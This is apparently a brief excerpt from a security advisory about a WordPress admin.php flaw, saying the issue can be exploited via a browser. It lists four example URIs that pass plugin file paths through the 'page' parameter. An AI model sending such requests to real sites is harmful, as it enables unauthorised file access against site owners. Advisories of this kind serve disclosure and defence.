An attacker can exploit this issue via a browser.
The following example URIs are available:
http://www.example.com/wp-admin/admin.php?page=/collapsing-archives/options.txt
http://www.example.com/wp-admin/admin.php?page=akismet/readme.txt
http://www.example.com/wp-admin/admin.php?page=related-ways-to-take-action/options.php
http://www.example.com/wp-admin/admin.php?page=wp-security-scan/securityscan.php